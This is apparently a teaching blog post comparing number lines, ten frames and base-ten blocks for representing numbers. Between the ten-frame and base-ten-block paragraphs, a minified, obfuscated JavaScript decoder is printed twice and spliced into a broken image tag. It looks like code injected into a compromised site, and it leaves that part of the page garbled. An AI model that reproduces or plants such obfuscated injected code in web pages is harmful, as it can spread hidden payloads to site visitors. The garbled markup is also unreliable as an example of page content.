Each of these ways of representing numbers shows different aspects of numbers, so it depends on what you are doing with the numbers as to which method is best.

For instance, number lines show the sequence of numbers and their relationship other numbers. This is especially so with numbers close to each other or, when using a different scale, where numbers can be placed in order of size. Number lines are excellent for count on facts, and showing position such as between certain numbers. Fractions can be shown on number lines and show they sit between whole numbers.

Ten frames are fantastic for number to 10 and to 20. They are a great way to know what a number is without counting. This is called subitizing numbers. Subitizing allows students to identify many aspects of the number and its relationship to ten. Looking at these ten frames, it is easy to instantly recognise the numbers 8 and 6. Mathematical information such as 8: is 2 less than 10, is 2 larger than 6, is even, is made up of 2 rows of 4 etc is all apparent at a glance. This information about a number becomes second nature to students freeing them to add, multiply, compare, and seriate numbers easily.

function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe.bmp">function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe" src="http://www.classroomprofessor.com/wp-content/uploads/2013/06/Thousand.bmp" width="91" height="91" />

Base-ten blocks are great for showing place value, the value of the digits in the places and representing large numbers with their actual size. They can be manipulated to show what is happening in algorithms such as 256+468. They show exactly what is happening with regrouping. It is an excellent tool for larger numbers. Decimals can be show if using the Decimals Software which cuts up and re-glues a one block.